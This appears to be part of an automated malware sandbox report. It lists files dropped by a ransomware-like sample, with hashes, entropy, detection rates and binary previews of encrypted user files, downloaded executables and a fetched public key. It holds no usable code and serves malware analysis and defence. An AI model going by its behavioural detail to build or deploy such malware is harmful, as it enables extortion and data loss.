SHA-512:	A9FCABD8EA5EBC1FB26E04379D61DDB2E536332C287B596886430B486570D90ABB3A66CEBBD8B0B9E4C517166DA08F7AB1163E5161BD2756E337E880E51E4528
Malicious:	false
Preview:	CMMM ).L.&.#.>..H..._\..Ji"..zhH..y.a..............PbI>..m[.9\|.jJ.p7Cvl...zW.G..Qd.9=.$..=y`...........G.7.#N..?{...[.e.Wu.N..u...\..U..4L...n..........}..D._.....GZ.....~TOm!......0I0...S=g@...U.......F.C..~v......N.G.r.]P.IH..:....W!;s...3..#.W8..8.U..y.t..7..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.338065020581427
Encrypted:	false
SSDEEP:	6:pXaCefFbxr3OjxPDTpA9Y3egs6iJJ50GvmTcZhqF4rM0YQUqrmgCIt5azjhPciik:JJefvSxbTpAOu3JlmshlM0YQ7rNVGjVX
MD5:	CC81410933F818650305F5A2664CDD44
SHA1:	90525C8DFA2E6DC3F752BAE209766CB776AC7D8B
SHA-256:	9E5DB0C3596F66282D730C591C837A3E6C5ADD5F310616BBC3F29D755B3110B9
SHA-512:	177684020A22E07D18F105C33B57453619CF7D6AEB4C5F810F9236F1AFB7A82F92EA630F7D3DBD0FCEBD35116784D5A816625088A3D5BA72BC40215F340E2CCC
Malicious:	false
Preview:	CMMM T....S..=x:=....3U. ..f....V.....>iA....k...F+......Y.bj[.d..KB.h.a....s5...bi.............#..Y:.......w.3......!5.....mf+...{....>7..p.....m...RiU..........a.r...{..#........p..n.A..Tk.._.Y....<...A8'.+.[.%K........U.^:.68.V6.92SO.....W?..?(.S.........n#..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768793709269632
Encrypted:	false
SSDEEP:	3072:PjBAi+BvAdlqz3gIS+rnWfqggSzEfWnmkukCaD4v/hiqFIu:VYqlspBC5gvWnWkPDKJisv
MD5:	BE16B9175C6696BC2BB02C7961E21B56
SHA1:	753DA0B5E791FF52D689699B2C40CD3D329051A9
SHA-256:	53460FB0348FD7F5CCD3F4FB2DA08882EFB7C95115A6F74D1E77DEA9A22BB9BC
SHA-512:	F8C90EC8BF0B4622D461993F7F38BAD64698986B1F939C26E1080F4C5C848BD8F1C084BF6310D92372FE97CE3AB4437E1851D200EBDEBA2B1BE14A4B245F9820
Malicious:	false
Preview:	CMMM ..7,E.bk..a..W.M%~.........Z.S(,....b.N1.O4.....!....^;.&>..i...w.^.k..V.i..\..5....X....R.]......=Z...}.9.G.xG.L[.I.t..m1...\,.e.\....!uM[`..............`O......].!b.'.M..-..PP.1M.N..O.B3..-..D.....?H...TUr..;....y....LY#.@...>...x....[._...Jg........l.~.O.....\.M.yll.....`.....Jg...,.......Jb...$]....@.a...I...z....[....Q..Oo...-kE.0..ls...F\..T.z~..(......-...[y-...x%...H.r...\|pE.XTF...aN...w...j....&A.....kG..].......r./..:.....Yxn.....A...Z.....F.Ar]$C.... ..9.j1V/F#Uhi.......3H[.gs.`1...1\| .5..a<....;9tD....(...s.1....B,Y...G..&S.Vr...p,..V...g.g.. l.Q.....Q..Q..p...G.#%.Q/C..6...wQ....Z....y.J.`...?.b.....N4..h..$.f=.6>U.g...._...(_].L..]....n.....Z.u.%.%m`.:MC.t=..r.0........<...X.j.>....k..8...........>@&....z....1..hN._...a0.Z..U..b<TE.b1((U..v.!Us7....=...`x0.ec.'oy.r.Tu.,....y.:..}W........p......17....\...q,~I...........H 6.R..L#t..0..W`...........'.H$.\|h.>.2....$j.&v.Zr...z.%.9....Q.2.+..(H)..>.Y<..M.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2624471068758965
Encrypted:	false
SSDEEP:	6:+xpaNL7pp8lamuC20DKdRsi8bvuBMP6vx2oEz519j/jyObuXK29E1zjhPcii96Z:+oLoAmuC9DOR18aBvImObMqNjVcii9a
MD5:	DC0315688E510D5F3084681168EDCAF9
SHA1:	F587800F233FA74EC83E998FEDD605B4C00E3CB2
SHA-256:	44919F3254872ECBC870796766292E0B04FD36A6686F276DDFF249DD43ADC650
SHA-512:	29F30D7EB08BDF732C21BDE231EF9FA2A8481DB87D05DF3DE527BBC42B742C446C5FDB9AA50B25F417AAD8D105A90790E9018DCD0A6FF23EA2A7A8337ACC42DE
Malicious:	false
Preview:	CMMM .YRY.3J]......*4........"4.9M.P....&.....:.t.?.M..,.h....s.7.e.Lm..W..C.Z.L......z.->6.Rt.c&.7%n.~t.r...K..V...u.7.8.W..vU/Q&J.1^ ...VKVd.r.q.Y..z.\......}....M..r>.".j`.#.......P.(...[P,/m...%?r...Q.....u.c3R.j...LL......u.:.W...O...3'...........O...&..C.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.99332273220341
Encrypted:	true
SSDEEP:	768:isvROLwBImm3pakl/R9CtV37d63Hq8USrDw:isvFqpnD8v0Hq8lDw
MD5:	D8C6AAB0AB304A0C49D6239A8FFC1BA1
SHA1:	89EE5CCCF813C4286888A91DCD035A87CB04EDC6
SHA-256:	4E140109A01BBB43ED537C634CBD380017731829730E4BEBCE6CC91DF5D1C6F4
SHA-512:	737FBF17672C5801E00DD623120CEB5BD4FEF53D353C6E962AC1D590535CC2823256DF8EC577BCC8F8226A6F59A8CB3C8DEF4948D709E931BFCFCF1980F85A6F
Malicious:	true
Preview:	<!DOC.v.....-$#:%...,.Jn.1e<.e..=.".x.........\..9....,..<.rAp..2b...E.....<..#M....?...~..kD.-..lFZd..cK...)..`+,.7..........DUY.'.. .l.r;.b...q.J.jvW..A..D.`.m.$OGV...H...Rp...+4"v.3kG..8x..\|.h.e...UX..^.L8s.....2}..d.j..e.G.....M.s..IA......{..K..#.....7....vr..:].&0;. .sn..G.;.n.2.}...h&D..i.....qmu.....k/.6j>.v.Q_.,i...^..$....C...$.V......]......d\IW...&...U.m.).%.}5..3..\.t"....N... ..r.r....!HwosU..+.....^ .,..drZu&.YgJ....pQE&m.:...p...i;...6zh7...=.4...k..8.f.U.]... ..2....R..v.Ds5X.=...h.l%.].i:.Z....4...R...Ig..B..^n..g...3.....V.v....u.<.^Q.G......*a.D!\|..i..7(~....B.o.K..(..;.u..\....q..}.D..D....;...`..EZ.....h....Z^.8p..S.o.:OD..".p.U.#...AQ.)....q[(d~...IZ.k.=..:2..........J.\|...Y..jm.+wX..k#..AWe.X.].V.I..>HY.....a....a.5V.;...f........\.E1....(D...`............eOq.....:..]k.A.Z.t}...Bt^7p.}]}"/M....hA..e..q5@7.....N.. B.............K5....-..O.?%..b0......._).....q.........J"t..&.Wi...\|^.."?a=.N...':..$...1.y..{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	296448
Entropy (8bit):	6.701097338503782
Encrypted:	false
SSDEEP:	3072:QOKV/JhkCZrraOTzo+fGN2ZDFlYJ0YeA4Mcjv3SSyrqwLIY7Ni1KfqbdonRMIIyZ:uXtPJoqYYZCBVIYA6iQeIL8E
MD5:	A04031208441077A014F42095FF86107
SHA1:	DE1506EB54B9947B4DE069C87BB1103BF17A08ED
SHA-256:	9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
SHA-512:	851741FD1856058C4C759392CAE2D4694E05A9E7098B8E50FCCC601BD588FF0C92DCDB577D7937E7D4C73879394803B13D2F1EACD72488B0D3C3C226929B81C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: sIQywRNC5M.exe, Detection: malicious, Browse Filename: qJKiVKZdFk.exe, Detection: malicious, Browse Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: 3CB27VUHRg.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................o.....P......Q.....#...........?)U.....k....?)n....Rich....................PE..L...G..c.....................0`.....m@............@..........................0a..............................................j..d....@`.f...............................8...........................@`..@............................................text............................... ..`.rdata..Pt.......v..................@..@.data....^......6...`..............@....rsrc...f....@`.....................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: R5391762lf.exe, Detection: malicious, Browse Filename: sIQywRNC5M.exe, Detection: malicious, Browse Filename: qJKiVKZdFk.exe, Detection: malicious, Browse Filename: Z4CYGTBlj7.exe, Detection: malicious, Browse Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[1].htm

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.9828662910216766
Encrypted:	false
SSDEEP:	12:YGJ68lQXgmPtgGqyADw8kMY+KxRVHaSufZn+5JjW:YgJlsgqtgGy0+9S+sTW
MD5:	7E86EE7980B5359B6E02333F336BCB3A
SHA1:	566593CB97935F0571A4BEC8D0505D88DE109686
SHA-256:	7BE5BEC795F6D0C0EDB34A2227C12B73D25BA72E54B5DDCE5AE40AFA813BC3F1
SHA-512:	78EDBE6E166F8C77643B6D49A1A383977380C7B55B51B1DEFB79E1333C361EF6D5476AC09C88BEEF8464BA89DE6224F56B56D737FDB73C347CF311CF8AEBEA55
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[2].htm

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.9828662910216766
Encrypted:	false
SSDEEP:	12:YGJ68lQXgmPtgGqyADw8kMY+KxRVHaSufZn+5JjW:YgJlsgqtgGy0+9S+sTW
MD5:	7E86EE7980B5359B6E02333F336BCB3A
SHA1:	566593CB97935F0571A4BEC8D0505D88DE109686
SHA-256:	7BE5BEC795F6D0C0EDB34A2227C12B73D25BA72E54B5DDCE5AE40AFA813BC3F1
SHA-512:	78EDBE6E166F8C77643B6D49A1A383977380C7B55B51B1DEFB79E1333C361EF6D5476AC09C88BEEF8464BA89DE6224F56B56D737FDB73C347CF311CF8AEBEA55
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997688694227699
Encrypted:	true
SSDEEP:	1536:SdcB/w9OjdSQupVX6G1eU7uerIpSn62uDbDFYat8LPaTGnhGs7k66kjp/Ur:FBYmSQEcKp1zn06at8LP6lswQy
MD5:	BA97A726ACA4540BA97F86E5F98E61C1
SHA1:	6CBEB2F469062FD4F60A63A9A9A5570D3AB124CC
SHA-256:	BBAFB8FD210B7B96250BA00EA27324EF08BBC021DECCF422473EF25464EB8569
SHA-512:	F5A2D28612331ACD10D77FF271DC51E5FF8C3EC9DD04D8B637B2C7B3068A3E0429C18AD1810CD502B5DA96B9D73B6434E87D448D0431787FE553B774E5C4FF8A
Malicious:	true
Preview:	'use ..B.IuL\|...Fo......_B..)...s4.4;.i.2.\|.T.u6...be..I.1....q.....;....~.w..i.Z...=,.qk7...g..!F..?nh.X.T.}......9c'F......m......(....t- 'i.l.....E7%.......7...#....W...ao.Zw..{SS..Xs..{p.Z~.~c.E..Fa.Ds..Sg.TiE....h<m[.'...~.u.w..D....B)....y.pM..s.M../'.b....E.'l..a.....Y:i;...G.~.........(.:.ah.R.L....'...T....z_S.......u.T...~G.....6........c.P"J7H%s......)$..f?.9.3...p."0..U.I..x.f..^6He!_.y....%5....U.e..C..)n......3...f.......P.T].].........d(%...<..{....F.@.:.^p.O.,...H..A<..3.S.Q..2V.T7=.).._....>.`V.....;....C$>.K..Tp'.G.....<./2.E...'....S,>T .QQ....?.r....=Yr....EB..y8...u`S.......cbF.Ua.swn.<>..X.Gq....Z..d.....l.k..Y\..O.Gu...!.E.G..P.RE~XnE.-.L~..s.B(."".._....8e....4}.G...dJ.....LL.....b...V.,......Z..p.....>..NE:..b......=? ..to.3,:....l'.>..m>.Ro.....I.h..W.......-a&......I...m..W{.>&.._..t..M.'<=D..d......Ha}..z....l.9..;............._......Vvp].u.O..........z'u^.y.R..._.b.o..,....j./v......O....I$...p/..pz.<y_8AF.!R...

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.994279278714409
Encrypted:	true
SSDEEP:	768:sSJJ6SVbu/JZ8vpsR5qp0vbKjmgZxpLa14x/4/mw:sSJJ6S0TwEgp0vIZxrw
MD5:	98305D1AE390D1B3C0C5014F3C1B9B0B
SHA1:	F32B4E618240A5DD8CB201CE34BCAD42AC99443F
SHA-256:	C43FC51D9B60C71986C0CA430ED629D4A03A672603BF8D637BEB6141900192CC
SHA-512:	F918B26E8233FC1E4592D1D038E6E8C486FDB43ABC4F2988A96970D067AEDA075D51A438A75AE882C27275DB6158A32EB185CAE33D6D4B600B1C1E5B740A65FC
Malicious:	true
Preview:	'use p..7%...8.s.+..F..?..X.b...xx.'#...Q".5..U..0.^D...~...j{a.]..R..(W"..._/.k&...pk,..w.z9:}..9..!?IK..s...:z....q...y..@%...C\..i{;.xf..........G..z{......\;4r..h..C....l..Z.......v..y:...Y._E;...j.1.....-.si...:j^.p......I....Q%..8.$.6.........7.mN`..T?..0-R.WP....>.r.!....A_.>.......@.W...."...9...t....)...~....].f['gN.N............A1..X[.Q>.[..Z.T... ..3.....3.. _h..6)..<s..>,.Ki."..Y%..8.d...3.....>..2............_..zj....t.....+{"..S...~.ZIJ..U,...u.6.?-...Q.85.B...^6-{....;7>....7.w.\..N.(TU...>...9Mm...r#..i.s.Q...?.\|..t...._..F(??.r......w.PBRac..L.!.t..o...y..`u.j{......lg.....(L...w.A.:.$2T..H.Gi..\.....'..u?...Z.g....}.G+(f..l.}.rw.4rdZ...Z..j.ww.j.D....M..Np.V..9..!......x...;..Y0WQ. .-.....l.\|.!..I........\..].M.L.M{...eUc(....z.+6f.&......FD.}......z....=gh...8h%.-.....S.?.....r.-...#.y.alU.".Y..~....O......Q......y.3.....'.>.w.d_...$.~.$...G0.&.$....NYUh.,...d@.L..y+.w.T!b#.".3.k'a ..j.hJ...2X..%>..j.s.\|

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991416023483854
Encrypted:	true
SSDEEP:	384:ik4HbDscBUnr0U4size3Jffj86Fr24z4mCZgHshsRtIz8yY1Vd3bjHB:il/HUrN3VbRFrNZzHeVWVdrjh
MD5:	AB64D69CC48135D03872A82D464EF201
SHA1:	F62DDB9DB1F7CBFB951AFDAA055F886D729EB15C
SHA-256:	915C65E26EDE706343BBB1477CDD4305C65340D4C756EC40D1F76D93350804B6
SHA-512:	6CEE349FB69612AD0C1A18DA5935D70FEACB5056F87D8888C6D6CE8DB2BAF13FDB56FDDA545689E61AFA81FD2623EF7703C96F40D12106373DF6712384DC6BB3
Malicious:	true
Preview:	.....(.T#oigfv<.j.q.1.\|..t....r...3e.j.r4.CIL.x-k./.9.._YB..D.=..m.g..q..V.7+.O.o....+.I..7$......<d..;......?.V...g...9..8i`Y..<6..iP..._...e.[.......bn<a...B..-.@.vGw.B..e7^.!..?..Z.V<.....b.h}...a..3~.~?.b.V.][..K.E..W...X.$x..-... @...W.>.1-....wLi.....n.:...3m..:r.g,...v....>n.G.J.oj....aK...=Zh.Jm...].......w.pga;H\..G.}......+.w@).Zy....I..a/....FO.G...,.>.z..,.c.P.....C..@..a.{5....U..%.A../...W..y.~...@...6.. 7.....aU__.r.....N8..l...<..X.zq.g.%.>.3.q... ......y.a...%H....q&.YIv....\|l..P..c..y....9...{..Sq.W....G.s....<.3.w.~.&~.u.;...ct/...`........k8.A..syW.!oQ.j?.`m.>X.\|[.k.....E.:.......+.S...).....\|N.`..J..S..)....8.*..Z.....`e.P..)..n........J.,.}.f..I.b...j'"...Z..q.04...........1.x..#.e.g.....j7...\|A4..T...j....D..Ji..k1}.....;.X...2....,.........:.j.u......V.edj...@.a.V.D$.m.2.F..=....h......./.q(?.&7;EF...#=l.....j..5#.q\|.`....W.......c....F....._...j:,W&t-..\|..S.j".P.....,.&...L{.m.....I........@+.Z.I..UY-..../

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8559678747629045
Encrypted:	false
SSDEEP:	48:YuNml2QANg/HSP3L0ispuYtzk8udSTXWC/e7CSFD:LNmlNANgHGIuYt3DmOS9
MD5:	73630779EE833C7A3ECD13265884FBBB
SHA1:	66FED97AE64941F25FEA9C44C41D4878CB273B9B
SHA-256:	390E8FB9DE9B54F52B1A7624B029363A5C87991EBE4A46B7B1730DF1C38B82E7
SHA-512:	94C1EC8EC7699B997A645DD0BE7CAD028AF89F2EAC5E49BDA7F6F154A9B89582AF185FB3C2755552DDD15B88D62C0119BB79AD10005BB01CD7434218DEE56A85
Malicious:	false
Preview:	{"spoS/....E....Y... . P...%...%1r....S...._.k.A6Y}7.R.v......-o}..V.b.h....M. Y..t...l.^.A.h.D0=..1.9..f.7.<.....r>'..k.....P+.D....\|.V.L....2-.}.t.N..(!.^.r.e76].;.Ss...........mUx..y.....w.....B...e.........37.3K^\|...&7W..D..p.mVrx!0n.v...\|e(B..1\..-ay.G......r..J.Kf9_.3.. .........&...m.bV5.-.....F..kBs.....Y.d...\...(...&w.s..].bsw=S.'..9..m...c.lL...&..5eX.I.......j.,.#....$]i.D....lx..X.Y#8,.N{...Q....A.~(.....\.:"1.WW.....q.4....{..Ix...f....'M..84.,.f..........vT..3F`..M...y.s.I...,.........`.......p...bH.....w\..e?..V6.2.......6H..M.z2.....V8<.w.Q....r...+...Y.-.IH.....7UZM5xI~......X..6........L....26..........df.7....'....9D...b#:.....C9.....@..>Xp.mr.u@D...gA......NG....xzT.hbX..\|.8.....F.....ifV?../.#....D.-..K=.....?Q4.f.....Y..d.C>^..+..+.-.p...".G.mNX..D.{...hNh.........>.[B....#.53......2.f.O=.T........<b....*.+.3..bw...c..NV#.h$..BI..[.....gWl.N.c...`..Y..Z...z..k9..yLaDh....Tz<.{....GN..........W%..]..n.....s.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.076511678424794
Encrypted:	false
SSDEEP:	12288:BNx39qzXE67LGKC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiq4:fqz06XG5cGGR7l/bqs6BjUNR+p
MD5:	03C40DF1C964E9144A2D34AE72524975
SHA1:	99B48D0012FDB352985001C6C7D018D010BD80D9
SHA-256:	E71E4A1F4466EA82EF5F562E9A3D5FA1263C2F80C1803BA1921238EF1D3C2ED6
SHA-512:	F1B41EB70FCD25FEEC5B213C7A92A6BDEAA7925417F4DAD0AB9A746FBBE4BBE581E27B266A1F1E6613B1AF61F636235E9743C5C92D055234AE2B849034746E2C
Malicious:	false
Preview:	mozXD.5i..k~.wh.V.J:...c&.%.Z...rH.D....N.t..1;4...0.7M<....s...\&O}<h.[W^.@..^H..qgM......R.W'.C.^{..Y...r.8...B....E.......e.I..'.tI^..(.........q......a............d...)~.wKtn....i{b........e..2i7A...k<tT.:..D0...m'.....E.!s...m.\|.K..V(.k..0....'h....QO.`.b+..s...e,....9#Q.9..[...7..XE.Wi.!P....<a..0\|a...+W.k.....?o..[$...<g.&Se./../..!....Q...e.0.x.}-.j....z.h.......O..I.e.;..B....\.....%.+m@.%W....L..t.T+..r....j.9..P.!..jt..{.0...........`$/4{..v..9..2X.2...,...k.{.k:..........0.o....V.O..Z.(.[5.......`..B.....7..d..J...tu.S..a.,..[...6dL.=.h.rq.`:.v......<......$....'.~..p..o.5{..aG.+..`q....4.]......".y..p.Ed`-..1..,....,.....r.h<F..6....f.:...C....9!%^c...Xh.#U.....I.[=.I..j.QM....Jh..6;.3P.h...W...4i...{...}....e..6........'!'.._.....s..@..u.+s(..M..C....:..~.....m..<P ..#PSO..j.ql...reyd..\. ..U3...4..G....-J4..ol.P....~...ZOA.?E.fy..'.v7%.E.dO.....8F.*.1s..."....a8-.....vQ .6a..J.T.jb..^.......b..e.:....P$.P~.e.L.)b<8....7....FA;..~n

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802775202796776
Encrypted:	false
SSDEEP:	49152:/q5laLS8wTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hi:/68Lyv8EW5IdVgdy6gn/SSyal+rPd
MD5:	7673FB60105CD9CBB388BB264CA108BD
SHA1:	1DE52A7CDEDB767DA972EA0E468F3F5330A39215
SHA-256:	5DB39A3A5E977374B04EA1F3A5E3AA32617A9482B0571A527863F23B80965232
SHA-512:	46C23132C789DE5703034EE44DEACCAD62AD983BFC2668E67D0A08D715B702A05371A3EE3CA210DC4C3DE1C9D8A99DF504566266C3B5C9190BD38EF4BA0F6C2C
Malicious:	false
Preview:	mozXD............."TP5...a-F.....R3..Rr`.V......C.eN......;GdW.ck,;.p.Or.Ov.....yV..M).b.E.@gj..pj.....{/a..c...$HfDx..@x>......4'."1.o).gu.#6..b..N..H... R..72.=...!.V...}.}....'............Eb..K..F...........9...U3=.W!....r@B..9.z.=M..)%........X>B.,O..G.Q(.U.c...{}L.v....7..?.(/..T.q#.nUE.'w..(_.F..8.,.2u.J...{,...}3./.Q..P.=..&....U:C/.@...r...M....S....O.....k..R..Z....^.8.&......6/.bt.!.w.Kh..d". .yN`...6D.....2fJ.i..h....w.A....j....P..J.dB..:.....V..H>..[Y.V..LI.xe@....2.N....N..$.J.z[q.>`..i...>.b.j.a>.)...h......32.{(.....`/......E.x..T0=F..Ku...{-I;.....J.n..X...;...R...K..*..s.........:....AvQ..@..>.&.1..?..7.e.-d........2v..%........AN.....O0.~>.."...8.<.L.S.....Z.L.E\........#.s.CW.._eN..W./..+g.......V....u.....=....P..O.....]L@%. hK.->C.>I....)...D...(..a.K..Y.._g....v.?.;I......v+b..n..S.z.FB....\.<\|/....t......../. 